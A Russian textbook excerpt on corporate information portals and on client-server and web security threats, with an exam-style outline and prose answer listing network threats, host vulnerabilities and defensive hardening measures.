■ Интернет является слабоструктурированной средой без интеллектуальной обра ботки знаний (информационного контента), перекладывающей на пользователя основной груз перехода от примитивных к более сложным формам и интеллекту альным методам работы с сетевой информацией.
■ КП - это не просто систематический каталог ресурсов, а интегрированная система хранения данных, обеспечивающая единую точку входа.
■ Особая защита в Интернете информации и сервисов не предусмотрена, поскольку ценность необработанных данных либо услуг, не затрагивающих интересы поль зователя, обычно мала (реальная потребность в защите возникает только с опре деленного уровня структуризации информационного содержания сетей и внедре ния материально значимых услуг).
■ Интернет и дальше будет оставаться слабоприбыльным бизнесом ввиду очевид ного соотношения: потенциальная прибыль от использования "сырой" информа ции всегда ниже, чем от обработанной. Интернет-проект лишь тогда становится прибыльным, если есть за что платить и нет опасности переплатить (например, потеря средств из-за взлома защиты).
В качестве примера приведем возможное наполнение КП одной из компаний. Он может иметь следующие разделы:
1. Новости компании.
2. Что делать в экстренных случаях (охрана, проблемы с компьютерной техникой, пожар, другие проблемы).
3. Конкуренты (краткая информация о конкурентах, сравнительная характеристи ка, новости конкурентов, персональные досье).
4. Клиенты (краткое описание, история взаимоотношений, контактные лица в компании, контактные лица у клиентов, "черный список").
5. Основные проекты компании.
6. Финансовые показатели.
7. Профессиональная информация (обзоры и новости сегмента рынка, технологии, ссылки на ресурсы Интернета, полезные советы, форумы и конференции).
8. Маркетинговая информация (Что надо знать сотрудникам о маркетинговой стратегии Компании, Пресс-релизы, Пресс-клипинг).
9. Внутренняя информация (структура компании, внутренние правила и корпора тивная политика, обязанности сотрудников, адреса, телефоны и дни рождения со трудников, фотографии и личные странички).
10. Страница отдела кадров (обучение, тестирование, вакансии компании).
11. Доска объявлений (для публикации внутренней информации компании).
12. Информационная система компании (документация, ссылки, структура ката логов и баз данных).
Далее все главы учебника будут ориентированы на рассмотрение именно КП, как наиболее интересного класса порталов.
2.4.2. Логическая структура и компоненты
Корпоративный информационный портал разделен на две части [34].
■ Внутренний портал (интранет), в котором расположена конфиденциальная корпо ративная информация, предназначенная для употребления ограниченным числом пользователей (применяется локальная сеть).
■ Внешний портал, который доступен для общественного использования и в кото ром расположена публичная информация (применяется Интернет).
В составе типичного КП условно можно выделить три основных функциональных слоя.
1. Слой базовой инфраструктуры, отвечающий за базовые сервисы, такие, как управление транзакциями, система безопасности, управление порталом и др. Техни чески он содержит, как правило, сервер приложений, сервер БД и веб-сервер либо несколько подобных серверов.
2. Слой интеграции приложений, отвечающий за взаимодействие портала со все ми существующими в компании приложениями, такими как СУБД, CRM- и ERP-системы, унаследованные приложения и др.
3. Слой интерфейсов, включающий в себя средства управления информационным наполнением, интерфейсы для обмена данными с ИС бизнес-партнеров, средства для работы с мобильными и беспроводными устройствами и многое другое. К этому же слою относятся визуальные и невизуальные компоненты порталов, называемые обычно портлетами (портальными апплетами), но иногда имеющие и другие назва ния (в англ. оригиналах встречаются обозначения Pagelets, Gadgets, iViews и т. д.). Термин "портлет" обозначает небольшое приложение портала, которое обычно изо бражается на веб-странице как отдельный прямоугольник. Портлеты - это многора зовые компоненты, которые обеспечивают доступ к приложениям, веб-содержимому и другим ресурсам. Через портлеты можно получить доступ к веб-страницам, веб-сервисам, приложениям и объединенным источникам информационного наполнения. Заказчики могут строить свои собственные портлеты либо выбирать нужные из ката лога портлетов. Каждый отдельный портлет разрабатывается, развертывается, управ ляется и отображается независимо от других портлетов. Администраторы и конечные пользователи могут создавать персонализированные страницы портала при помощи выбора и настройки соответствующих портлетов, что приводит к появлению полно ценных веб-страниц, содержимое которых может быть предназначено конкретным людям или группам.
Логическая структура портала представлена на рис. 23 [31]. Информация, полу чаемая из различных источников на основе правил предоставления доступа, пред ставляется в виде индексированных текстов и метаданных, среди которых можно проводить отбор для персонализированных клиентов или которые можно просто публиковать с помощью универсальных клиентов.
Из логической структуры следует такая схема работы портала:
1) в портал из различных источников поступает информация;
2) портал производит первичное распознание информации и предоставляет доступ к ней;
3) при использовании систем управления знанием формируются метаданные;
4) метаданные проходят через "фильтр", установленный и настроенный под соб ственные требования пользователем, при этом ненужные ему данные отбрасываются;
5) после этого отфильтрованные данные передаются пользователю.
К логическим компонентам портала относятся следующие элементы [31, http://www.e-commerce.ru/biz_tech/implementation/management/corp_portals.html] (схе ма взаимодействия этих компонентов портала представлена на рис. 24).
Приложения - это обычный навигатор для доступа к страницам в формате, на пример HTML. Домашняя страница может быть адаптирована к потребностям опре деленного пользователя, т. е. настроена на получение того типа отчетов, документов и данных, которые ему нужны и на получение которых он авторизован. К этому мо жет быть добавлен механизм поиска по ключевым словам и другие традиционные инструменты навигатора.
Репозиторий хранит метаданные об информационных объектах, пользователях, рабочих группах и информационных каналах. Метаданные указывают тип объекта, раздел, к которому он принадлежит, формат хранения, местоположение.
Подсистема публикации и подписки. Пользователи могут публиковать собствен ные документы и осуществлять подписку на существующие источники.
Механизм фильтрации данных по заданным правилам фильтрует и сортирует объекты по типу, формату или другим признакам. Он может направлять пользовате лю информацию о новых объектах и об изменениях в уже имеющихся, актуализируя доступные ему источники.
Механизм анализа и планирования бизнес-процессов (Enterprise Resource Planning, ERP) обеспечивает поддержку анализа данных средствами реляционных и многомер ных OLAP-систем (систем оперативной аналитической обработкой, On-line Analytical Processing) и других аналогичных систем.
Драйверы данных предназначены для связи с реляционными и многомерными СУБД, различного рода библиотеками и другими возможными источниками инфор мации.
Приложения интеллектуального анализа или система управления знаниями (Knowledge Management) - это средства структурирования и категоризация неучтен ных данных (например, затерянные в почтовых ящиках), формирования удобных ме ханизмов доступа к ним и на основе специальных аналитических методов конструи рования отчетов о собранной информации.
Принцип работы используется при аннотировании документов, формировании на базе аннотаций метаданных и при их размещении в информационном хранилище вместе со ссылками на исходный документ (кроме того, устанавливается язык доку мента, его тема, дата создания и принадлежность). Одновременно создаются словари или БД терминов и других атрибутов с указанием их источника.
Результатом деятельности является разбиение текстового документа на связан ные категории, что реализуется посредством эвристического анализа смысловой и терминологической близости распределяемых по иерархическим рубрикам текстов.
Модуль управления связью с клиентами (Customer Relationship Management, CRM). Может входить в систему ERP; обеспечивает объединение front и back-office компа нии, позволяя сформировать информационную базу с данными о клиентах, службу информационной поддержки клиентов, настраивать КП под требования клиента (на пример, выдавать пользователю список информации, основываясь на прошлых обраще ниях) и т. д. При этом значительно повышается потенциал front-office, упорядочивается процесс документооборота с оппонентом, производится исследование предпочтений по купателей. Основная функция CRM - это "удержание" клиента (по мнению экспертов, "удержание" 5 % покупателей дает прирост прибыли на 25-125 %).
Обеспечение безопасности доступа включает обычные для защитных систем средства шифрования, аутентификации и управления сессиями.
2.4.3. Схема портала
Обобщая приведенные ранее структуры и схемы, изобразим более подробную схему портала (рис. 25 [32]).
Обработка источников информации осуществляется в портале портлетами, вид которых зависит от характера источников, с которыми они работают. Портлет интер претирует запросы пользователя, обращается к внешним источникам и подготавли вает информацию для визуализации на портале.
В качестве входных данных портлет получает информацию о пользователе и его правах доступа. Результат работы портлета - описание данных (например, на языке
XML), которое впоследствии трансформируется (форматируется) с учетом типа кли ента применяемого пользователем (веб-браузер, мобильные устройства и т. д.).
В случае слабоструктурированной информации портлеты обрабатывают наборы документов, архивы сообщений, веб-страницы и ссылки, поступающие в реальном времени данные. Если необходима структурированная информация, то портлеты ис пользуют методы, применяемые при обработке хранилищ данных, корпоративных приложений, методы категорирования и интеллектуальной обработки знаний.
Возможна также обработка источников в виде событий и процессов, включая процессы коллективного взаимодействия. Запросы к метаданным и портлетам через службу доступа поступают непосредственно к ним или через машину поиска. До браузера пользователя и веб-сервера запрашиваемая информация проходит через службы персонализации, представления, управления сессиями и защищенной пере дачи по сети.
2.4.4. Базовые сервисы портала
Сервисом портала будем называть доступные через внешний интерфейс или внутренние (программные) интерфейсы портала, реализованные в его составе про граммные средства, основная задача которых помогать пользователям удобно и эф фективно выполнять требуемые им операции над содержимым разделов портала и применять его ресурсы.
Службой портала будем называть функциональную подсистему портала, доступ ную через внутренние интерфейсы и используемую несколькими функциональными подсистемами (сервисами) портала. Примерами сервисов являются системы новостей и форумов, информационного поиска и персонализации. В качестве примера служб можно упомянуть службу аутентификации и авторизации доступа к содержимому портала.
Следует отметить, что состав служб и сервисов портала может расширяться. Воз можно как добавление новых служб, так и новых специализаций (версий, предназна ченных для работы в специфических условиях) существующих служб [35].
Можно выделить ряд базовых (разрабатываемых при начальной реализации) сер висов, предоставляемых порталом [35, 36]:
■ пользовательские сервисы;
■ информационные сервисы;
■ сервисы доступа через веб-интерфейсы;
■ интерактивные сервисы;
■ корпоративные сервисы;
■ сервисы доступа к корпоративным документам;
■ сервисы мониторинга и статистики.
1. Пользовательские сервисы. Они состоят из сервисов, позволяющих осуществ лять персонализацию представления информации на страницах портала для сотруд ников, и сервисов, обеспечивающих безопасный доступ к корпоративным ресурсам (с авторизацией и установлением прав доступа пользователей портала). Также сюда относятся сервисы поиска и навигации, состоящие из средств работы с моделируе мым иерархическим каталогом (рубрикатором) ресурсов и объектов, карты портала и поисковой системы по внутренним (входящим в систему порталов) и внешним ин формационным ресурсам.
Первая группа сервисов отвечает за персональную настройку информационно го содержания страниц портала пользователем и настройку информационного содержания для подразделений и дочерних предприятий. Сервис управления профилем пользователя и настройки персонального (индивидуального или корпо ративного) портала пользователя предоставляет средства для настройки персо нальных данных пользователя, средства предоставления ему персонального ка лендаря и набора электронных словарей, средства поддержки создания персо нальной страницы и персональной настройки внешнего вида персонального (индивидуального) или корпоративного портала образовательной организации, средства организации удобной персональной системы закладок, средства персо нализации сервисов поиска, новостей и трансляций и пр.
Вторая группа сервисов представляет собой централизованную систему управле ния доступом к ресурсам КП и осуществляет поддержку авторизации через, напри мер, права в NT-домене, облегченный протокол доступа к сетевому каталогу LDAP, назначение прав доступа группам и отдельным пользователям и анализ применения ресурсов портала сотрудниками и подразделениями. В состав сервисов поиска и на вигации входят средства работы с моделируемым иерархическим каталогом (рубри катором) ресурсов и объектов, карта портала и поисковая система по внутренним (входящим в систему порталов) и внешним информационным ресурсам. Приведем ряд замечаний относительно возможных решений вопросов безопасности.
■ Возможна авторизация пользователей, например на основе прав NT-домена или LDAP-сервера.
■ Если нельзя применить NT/LDAP, то возможно создание отдельного реестра прав сотрудников.
■ Если у каждого сотрудника разные пароли для доступа к документам, базам дан ных, финансовым приложениям, почте и т. п., т. е. возможность авторизации на уровне отдельных приложений (content level authorization), логин и пароль пере даются приложению через специальный интерфейс, а права определяются по ре зультатам ответа приложения.
■ Интеграция авторизации пользователей на основе прав доступа в различных сис темах должна рассматриваться в каждом случае отдельно.
■ Права доступа сотрудников при входе в портал определяют набор доступных им сервисов и информации. Не должно быть ограничений на количество уровней доступа.
■ Персонализация сервисов и информационного содержания страниц портала в со ответствии с потребностями отдельных сотрудников или группы пользователей (может быть создан профайл для корпоративных отделов).
■ Системы анализа применения ресурсов портала сотрудниками и подразделениями оценивают, как часто сотрудники пользуются теми или иными разделами портала, что им наиболее необходимо в работе. Такая статистика нужна для реорганизации сервисов портала и уточнения требований к его информационному наполнению.
2. Информационные сервисы. В состав информационных сервисов входит единая система новостей, единая баннерная сеть портала и сервис трансляции обновлений, обеспечивающий отслеживание всех изменений определенных разделов портала и подготовку информации о таких изменениях для пользователей портала. Средства поддержки экспорта и импорта информационных и функциональных ресурсов (со держания и сервисов) портала предназначены для поддержки интеграции в структуру портала внешних ресурсов, а также для поддержки средств создания персонального или корпоративного портала пользователя. Новостные ленты формируются путем круглосуточного сканирования новостных Интернет-узлов, информации новостных агентств и формирование новостной ленты с заданным периодом обновления. Рас пределение на персональные блоки новостей происходит на основании описания предпочтений пользователя и фильтрования по ключевым словам содержания сооб щений. Внутренние новости компании формируются сканированием ресурсов интра-нета для отбора новостей и добавлением новостей сотрудниками, ответственными за обновление корпоративной новостной ленты, через специальный интерфейс.
3. Сервисы доступа через веб-интерфейс. Эти сервисы предоставляют удаленный доступ (УД) к ресурсам интранета с помощью веб-браузера с наследованием прав доступа к файлам из существующей файловой системы. Они позволяют использовать веб-браузеры в качестве тонких клиентов для реализации распределенных приложе ний, что особенно актуально для задач с большим числом распределенных клиент ских подключений. Например, доступ к корпоративным БД и ИС через единый веб-интерфейс (с предварительным просмотром документов в виде гипертекста - файлов, что позволяет сначала определить необходимый документ и только потом загрузить его с удаленного сервера). Через веб-интерфейс также подключается электронная почта и при необходимости осуществляется передача сообщений на пейджер и сото вый телефон.
4. Интерактивные сервисы. К сервисам интерактивного общения пользователей относятся единая система форумов, система проведения опросов и голосований, электронные доски объявлений и сервис рассылок. Примерами таких сервисов также являются средства поддержки очного обучения и повышения квалификации персона ла, систем дистанционного обучения и тестирования (сертификации), а также систе мы информационной поддержки обучаемых.
5. Корпоративные сервисы. Эти сервисы реализуют бизнес-процессы компании, для которых характерна удаленная или распределенная деятельность и необходимо отслеживание промежуточных результатов. Простейший пример - оформление раз личных заявок (например, на вход в здание) и отслеживание их прохождения через веб-интерфейс. Более сложный пример - банковские проводки.
6. Сервисы доступа к корпоративным документам. Основное назначение этих сервисов - создание единого каталога для доступа к корпоративным документам. Ка талог - это иерархически организованные записи о документах по разделам со ссыл ками на место хранения этих документов в интранете. Каталог позволяет:
■ организовать единый регламент доступа к документам;
" сделать доступ к документам максимально удобным и легким через единый веб-интерфейс;
■ создать единую информационную базу корпорации;
■ осуществлять простую поддержку резервного хранения и восстановления после системных сбоев.
Сервисы доступа реализуют следующие основные функции для работы с доку ментами:
■ аутентификацию и авторизацию пользователей;
■ визуализацию дерева каталога;
■ эффективный поиск документов по аннотациям;
■ возможность предварительного просмотра документов в формате гипертекстового файла;
■ публикацию документов пользователями через веб-браузер с интуитивно понят ным интерфейсом;
■ классификацию документов по каталогу при публикации;
■ возможность группировки документов при публикации (групповые документы);
■ хранение истории изменения документов и записей о лицах, внесших изменения; " групповую работу над документами;
■ аудит всех событий, связанных с доступом.
7. Сервис мониторинга и статистики предоставляет администраторам портала средства контроля и анализа нагрузки на аппаратные ресурсы портала и средства ста тистики обращений к различным разделам портала.
135. Угрозы ИБ, уязвимости и защита архитектуры клиент/сервер (на примере Web). Электронная почта (серверы-клиенты-протоколы): уязвимости, угрозы ИБ, атаки, средства защиты.
Версия №1
Уязвимости IP-сетей (причины):
Причины проникновения злоумышленников в систему:
1.ошибка в ПО
2. системные конфигурации
3. взлом паролей
4.перехват незащищенного трафика
5.проблемы дизайна
Причины уязвимости хостов:
Хост – узел – уникальный адрес у рабочей станции – устройство с уникальным IP.
Признаки атаки на узлы:
Результаты атак:
Объекты атак в сетях:
1) web- server
2) почтовые серверы
3) межсетевые экраны и фильтрующие маршрутизаторы
4) неправильно сконфигурированные DNS – серверы
5) атаки на терминальные сервисы
6) попытки внедрения троянских коней на узлы
7) различное ПО, установленное в сети
Потенциальные проблемы с электронной почтой:
Угрозы, связанные с электронной почтой:
Частые атаки на электронную почту:
Средства защиты электронной почты:
Протоколы защиты электронной почты:
Сервисы безопасности для защиты электронной почты:
Версия №2
3.3. Уязвимость архитектуры клиент-сервер
В основе общения по открытым сетям (в том числе и в интранете) лежит техноло гия клиент-сервер. Определений этой архитектуры очень много. Одно из них дано в гл. 1 учебника. Напомним, что в общем случае это такой способ проектирования ИС, при котором она может быть рассмотрена как совокупность некоторого числа систем двух видов - клиентской и серверной.
Как уже отмечаловь выше, клиентская часть системы инициирует запросы, а сер верная обрабатывает запросы и при необходимости генерирует ответы клиенту. В общем случае серверная часть состоит из нескольких элементов - ОС, СУБД, при кладной системы, в которой реализована общая бизнес-логика для всех клиентов. ОС предоставляет необходимые сервисные возможности и программные интерфейсы API для СУБД, которая в своей БД обрабатывает и выполняет запросы прикладной системы.
Кроме высокого быстродействия и надежности, архитектура клиент-сервер дает много преимуществ и в части технического обеспечения. Во-первых, сервер оптими зирует выполнение функций обработки данных, что избавляет от необходимости оп тимизации рабочих станций. Рабочая станция может быть укомплектована не очень быстрым процессором, и тем не менее сервер позволит быстро получить результаты обработки запроса. Во-вторых, поскольку рабочие станции не обрабатывают все промежуточные данные, существенно снижается нагрузка на сеть.
В зависимости от реализации прикладного уровня принято разделять классиче скую (или двухзвенную) и многозвенную архитектуру клиент-сервер [42]. В первом случае имеется выделенный сервер, который полностью обрабатывает запросы неко торого числа клиентов. Типичным примером такого сервера является сервер БД. Уровень приложений отсутствует или существует, но в нем реализована минималь ная логика работы. При этом бизнес-логика целиком реализуется на стороне клиента системы. Такой подход требует высоких аппаратных затрат для оборудования серве ра. Также должна обеспечиваться бесперебойная работа самого сервера, что требует очень серьезного подхода к его администрированию и разработке ПО для него.
Чтобы устранить эти и некоторые другие недостатки, была создана многозвенная модель. В этом случае существует несколько серверов, которые дифференцируются по своим функциям, причем каждый из них может быть как сервером, так и клиен том. Обычно эти промежуточные серверы называются серверами приложений, так как с ними взаимодействует прикладное ПО. Эти серверы обслуживают ограничен ное число различных запросов, которые определяются необходимостью работы кон кретных приложений. В сложной системе серверы приложений маршрутизируют свои запросы к разным главным серверам, оптимально распределяя их загрузку. Од ним из примеров многозвенной архитектуры может служить веб-сервер, который ис пользуется для доступа клиентов к БД с помощью веб-браузера. Сервером приложе ний является сам веб-сервер, а главным сервером служит сервер БД. Выбирать мно гозвенную архитектуру следует в тех случаях, когда в системе присутствует большое число клиентов, система должна легко масштабироваться, возможны частые измене ния логики функционирования системы и т. п.
Самым распространенным примером многозвенной архитектуры является трех-звенная модель. Уровень приложений реализован в виде отдельного элемента, где за ключена бизнес-логика. Ее необходимые элементы могут использовать клиенты. В ОС семейства Windows Server 2003 для оптимизации работы серверов приложений применяется динамическая балансировка сетевой нагрузки (Network Load Balancing), которая автоматически распределяет клиентские запросы по равноценным объектам на нескольких машинах, и программная кластеризация для серверов приложений со встроенным балансированием.
В современных ИС, построенных в архитектуре клиент-сервер, обычно выделяют три уровня:
■ уровень представления (реализующий функции ввода и отображения данных);
■ прикладной уровень (отвечающий за универсальные сервисы, а также функции, специфичные для определенной предметной области);
■ уровень доступа к информационным ресурсам (выполняющий фундаментальные функции хранения и управления информационно-вычислительными ресурсами).
Связь между уровнями обеспечивает менеджер транзакций и коммуникаций. Применение технологий Интернета/интранета внесло свои изменения в эту классиче скую схему, расположив на уровне представления универсальный клиент - веб-навигатор (возможно, пополненный прикладными апплетами) и возложив функции информационного концентратора (которые целесообразно объединить с обязанно стями менеджера транзакций и коммуникаций) на веб-сервер.
Клиентские рабочие места связываются с веб-сервером и с локальными и гло бальными сетями. Аппаратной платформой клиентских систем служат как полно функциональные компьютеры (стационарные и/или мобильные), так и более простые коммуникаторы.
Серверные системы большинства организаций разнесены по нескольким произ водственным площадкам, соединенным, как правило, каналами связи общего пользо вания. С точки зрения пользователей такая разнесенность незаметна, поскольку они взаимодействуют с веб-сервером, однако с точки зрения защиты данное обстоятель ство весьма существенно. Программная конфигурация клиентских рабочих мест не является жесткой. Ее могут динамически пополнять апплеты или иные активные агенты, получаемые по сети.
Угрозы в сетевой среде можно разделить на следующие виды:
■ прослушивание сети;
■ изменение корпоративных потоков данных;
■ воздействие на инфраструктурные сетевые сервисы;
■ подделка сетевых пакетов;
■ генерация и посылка аномального трафика (пакетов);
■ отказ от совершенных действий.
Прослушивание сети может предприниматься злоумышленниками для достиже ния следующих целей:
■ перехвата пересылаемых сведений;
■ перехвата аутентификационной информации;
■ анализа трафика.
Изменение корпоративных потоков данных влечет за собой следующие наруше ния безопасности:
■ кражу, переупорядочение, дублирование информации;
■ изменение и вставке собственных данных (нелегальный посредник).
Воздействие на инфраструктурные сетевые сервисы означает: • вмешательство в работу сервиса имен;
■ изменение маршрутов корпоративных потоков информации.
Подделка сетевых пакетов может принимать следующие формы:
■ подделка адресов;
■ перехват соединений;
■ имитация работы других серверов.
Генерация и посылка аномальных пакетов представляют собой атаки на доступ ность, получившие в последнее время относительно широкое распространение.
Наконец, отказ от совершенных действий - это угроза прикладного уровня, она реальна в первую очередь в силу распределенности систем клиент-сервер.
Список наиболее очевидных угроз в архитектуре клиент-сервер выглядит сле дующим образом:
■ пассивный перехват передаваемых запросов;
■ модификация (активный перехват) передаваемых запросов;
■ пассивный перехват ответов клиенту;
■ модификация ответов клиенту;
■ выдача злоумышленником себя за определенный сервер;
■ выдача злоумышленником себя за определенного клиента;
■ перегрузка сервера выдачей большого числа случайных запросов, что может при вести к отказу обслуживания новых клиентов;
■ случайные сбои и ошибки функционирования аппаратуры и программных эле ментов сервера;
■ злоумышленные действия зарегистрированных клиентов; ■ другие виды атак на ПО сервера.
Сформулируем основные причины появления этих угроз. К ним в первую очередь можно отнести следующие:
■ отсутствие гарантии конфиденциальности и целостности передаваемых данных;
■ недостаточный уровень проверки участников соединения;
■ недостаточная реализация или некорректная разработка политики безопасности;
■ отсутствие или недостаточный уровень защиты от несанкционированного доступа (антивирусы, контроль доступа, системы обнаружения атак);
■ существующие уязвимости используемых ОС, ПО, СУБД, веб-систем и сетевых протоколов;
■ непрофессиональное и слабое администрирование систем;
■ проблемы при построении межсетевых фильтров;
■ сбои в работе компонентов системы или их низкая производительность;
■ уязвимости при управлении ключами.
Защите подлежат все составляющие архитектуры клиент-сервер:
1) хосты: клиент - его аппаратная платформа, базы данных и ПО (в том числе и ОС) - и сервер - его аппаратная платформа, средства администрирования, управле ния передачей данных и другое ПО;
2) оборудование и линии связи, соединяющие клиентов и серверы.
Как уже отмечалось выше, хостом или узлом в компьютерной сети обычно назы вают устройство, выполняющее функции поддержки этой сети и имеющее свой соб ственный адрес (в IP-сети как основы интранета имеется в виду IP-адрес). Хостом может быть сервер, клиент, маршрутизатор, устройство со средством защиты и т. п. Выделим основные причины уязвимости хостов интранета.
■ Открытость Интернета, свободный доступ к информации по организации сетевого взаимодействия, протоколам и механизмам защиты.
■ Наличие ошибок в ПО, ОС и утилитах, которые открыто публикуются в сети.
■ Разнородность используемых версий ПО и ОС, которые совместно не могут обес печить хорошую защиту хоста.
■ Сложность организации защиты межсетевого взаимодействия между отдельными хостами.
■ Ошибки конфигурирования систем и средств защиты, устанавливаемых на хостах;
■ Неправильное или ошибочное администрирование систем, установленных на хос тах.
■ Несвоевременное отслеживание и выполнение рекомендаций специалистов по защите и анализу случаев вторжения для ликвидации лазеек и ошибок в ПО.
■ "Экономия" на средствах и системах обеспечения безопасности или полное их игнорирование.
■ Умолчание о случаях нарушения безопасности своего хоста или сети.
В интранете с неопределенной ПБ при подключении к открытым сетям часто при сутствуют хосты со многими интерфейсами (multi-homed hosts). Неправильно скон фигурированные МЭ и недостаточная внутренняя сегментация облегчают атаку.
Незащищенные хосты с сетевыми интерфейсами, активными для нескольких се тей, вообще не нужно даже взламывать. Злоумышленник запускает программу finger, разрешающую сбор некоторой информации в интранете. Программа собирает данные о пользователях, хостах и т. д., что помогает ему выявить уязвимые хосты. После применения finger к root@host, bin@host и daemon@host часто определяется и ОС хоста.
Для понимания дальнейшего изложения кратко поясним термин "демон", который будет и далее часто встречаться в учебнике. Это служебные программы в Unix-системах, которые пользователь напрямую вызвать не может, но они работают все гда, "прослушивая" каждый свои порты и обслуживая входящие запросы. При откры тии или активации некоторых из таких портов для установления связи демоны ини циируют сеанс связи. Среди подобных программ наиболее известны демоны FTP, Telnet- и веб-служб. Например, демон веб-сервера (HTTPD) - это программа, обычно прослушивающая ТСР-порт 80 и воспринимающая запросы по протоколу HTTP. Де мон веб-сервера обрабатывает каждый HTTP-запрос и возвращает в ответ веб страницу.
Мероприятия по защите хостов проводятся для предотвращения в первую очередь атак, цель которых - перехват данных, "отказ в обслуживании" или проникновение злоумышленника в ОС. Перечислим наиболее простые и в то же время действенные меры.
■ Запретить обработку ICMP Эхо-запросов, направленных на широковещательный адрес.
■ Запретить обработку ICMP-сообщений Redirect, Address Mask Reply, Router Advertisement, Source Quench.
■ Если хосты интранета конфигурируются динамически сервером DHCP, использо вать на DHCP-сервере таблицу соответствия MAC- и IP-адресов и выдавать хос там заранее определенные IP-адреса.
" Отключить все ненужные сервисы TCP и UDP, кроме явно необходимых (это оз начает перевод соответствующего порта из состояния LISTENING в CLOSED).
■ Если входящие соединения обслуживаются демоном inetd, то использовать обо лочки TCP-wrappers или заменить inetd на демон типа xinetd или tcpserver, позво ляющие устанавливать максимальное число одновременных соединений, список разрешенных адресов клиентов, выполнять проверку легальности адреса через DNS и регистрировать соединения в лог-файле.
■ Использовать программу типа tcplogd, позволяющую отследить попытки скрыт ного сканирования (например, полуоткрытыми соединениями).
■ Использовать статическую ARP-таблицу узлов сети.
■ Применять средства защиты для используемых на хосте прикладных сервисов.
■ Использовать последние версии и обновления ПО, следить за бюллетенями по безопасности, выпускаемыми производителями и исследовательскими центрами.
Средства защиты клиент-серверных технологий - это средства, предназначенные для использования в таких системах клиент-сервер, как доступ к БД, системы банк-клиент и т. п., и имеющие в своей основе принцип раздельного функционирования систем обработки запросов и систем криптографической защиты информации. Для защиты систем клиент-сервер наиболее важными представляются следующие средства:
■ аутентификация;
■ разграничение доступа;
■ межсетевое экранирование;
■ шифрование;
■ контроль целостности.
Защита в двух указанных типах архитектур клиент-сервер различается. В первом случае основные средства безопасности должны помещаться на сервере, обладать повышенной отказоустойчивостью и иметь возможность обслуживать большое число клиентов. На клиентском месте средства безопасности в основном не должны допус кать проникновение защищаемой информации во внешний мир, а также обеспечи вать проверку подлинности сервера. В многозвенной архитектуре средства безопас ности должны быть размещены на серверах приложений, а в случае необходимости -на главных серверах (если каналы связи между различными серверами проходят по физически незащищенной зоне). Часто удобно создавать отдельно выделенный сер вер безопасности как специальный тип сервера приложений (этот тип приложений будет рассмотрен далее).
Открытые системы клиент-сервер подкупают администраторов ИС исключитель но простым доступом к корпоративной информации, но настораживают сложностью решения задач защиты данных в связи с разнородностью вычислительных компонен тов - аппаратных платформ, ОС, СУБД и прикладного ПО [43]. Когда закрытая хост-система интегрируется с интранетом и серверами БД, ее пользователи страдают не столько от недостатка средств защиты, сколько от их избытка и несовместимости. В дополнение к собственным средствам защиты для мейнфреймов появляются сис темы защиты мониторов транзакций, интрасетей и серверов БД. В таких условиях был бы весьма эффективен продукт, выполняющий функции "зонтика безопасно сти" над всей компьютерной системой. К сожалению, подобного продукта на рын ке пока нет.
Проблема не только в том, чтобы добиться согласованной работы средств защиты различных звеньев, но и упростить жизнь рядовых пользователей, дабы не заставлять их в поисках нужных данных пробираться через множество заградительных кордо нов.
В распределенных вычислительных средах, в отличие от централизованных, ре шение проблемы безопасности усложняется, что обусловлено рядом факторов. РВС имеет несколько точек входа, через которые осуществляется доступ к данным. Это могут быть файл-серверы, рабочие станции и серверы БД. Чем больше в системе та ких входов, тем острее проблема безопасности. Открытая архитектура систем кли ент-сервер предполагает, что пользователи в пределах своих полномочий имеют воз можность делать с БД все, что угодно, т. е. не только читать данные, но и модифици ровать ее структуру, дописывая новые таблицы, хранимые процедуры и т. п.
Уровень защиты всей системы определяется степенью защиты ее самого уязвимо го звена, которым, как правило, являются включенные в сеть персональные компью теры. Многие производители СУБД, стараясь облегчить жизнь конечных пользовате лей, перекладывают функции контроля доступа к данным на ОС. Основная идея сво дится к минимизации средств защиты в случае доступа к данным с Unix-машины, исходя из того, что в ОС Unix реализована надежная защита информации.
РВС нередко состоит из нескольких БД, расположенных на разных серверах. БД каждого сервера, являясь составной частью одной общей БД, в то же время функцио нирует самостоятельно и должна иметь свой собственный механизм безопасности.
Бывает, что данные из одной таблицы хранятся на разных физических устройст вах, т. е. особо важная информация может быть фрагментированна. Здесь возможны два варианта: информация хранится либо по строкам, либо по столбцам. Если зло умышленник доберется до части данных, то, во-первых, есть вероятность, что он не сможет из них извлечь полезных для себя сведений, и, во-вторых, в случае своевре менного обнаружения его действий у администратора есть возможность защитить от него оставшиеся фрагменты данных. Маршрут доступа к данным программируется посредством задания связей между хранимой по фрагментам информации: указыва ются реквизиты пользователя (регистрационное имя и пароль), тип сетевого прото кола и имя БД. К сожалению, все эти параметры приходится описывать в тексте сце нариев. Чтобы засекретить указанную информацию, пароли можно хранить в словаре данных в зашифрованном виде.
Наличие нескольких внутренних БД в РВС, с одной стороны, усложняет проблему безопасности, а с другой - упрощает ее. Поскольку любая БД администрируется ав тономно, для каждой из них можно реализовать свой собственный способ защиты. Кроме того, в такой архитектуре легко изолировать и обслуживать конфиденциаль ную информацию. Когда злоумышленник взламывает защиту БД, он получает доступ к содержимому только одной БД, а не ко всей системе в целом.
Для планирования общей системы защиты в распределенной среде полезно наме тить уровни обороны. Чтобы добраться до данных, например, с помощью штатных программ администрирования, пользователю необходимо сначала попасть в компью тер (уровень защиты рабочей станции), потом в сеть (сетевой уровень защиты), а уж затем на сервер БД. При этом оперировать конкретными данными пользователь смо жет лишь при наличии соответствующих прав доступа (уровень защиты СУБД). Для работы с БД через клиентское приложение придется преодолеть еще один барьер -уровень защиты приложения.
Система защиты должна предоставлять разные уровни доступа к данным: от са мого простого (и распространенного), когда всем уполномоченным пользователям предоставляется возможность чтения всех таблиц БД с неконфиденциальной инфор мацией, до наиболее сложного, при котором доступ к данным организован на уровне отдельных строк или столбцов таблиц. Между двух полюсов лежат промежуточные уровни: выборочное чтение и выборочная модификация. В первом случае пользова тели могут только просматривать, а во втором - просматривать и редактировать за писи из ограниченного списка таблиц, который заранее определяется администрато ром системы.
Какие же средства обеспечения безопасности есть в арсенале администратора системы клиент-сервер?
Во-первых, это разнообразные коммерческие продукты третьих фирм.
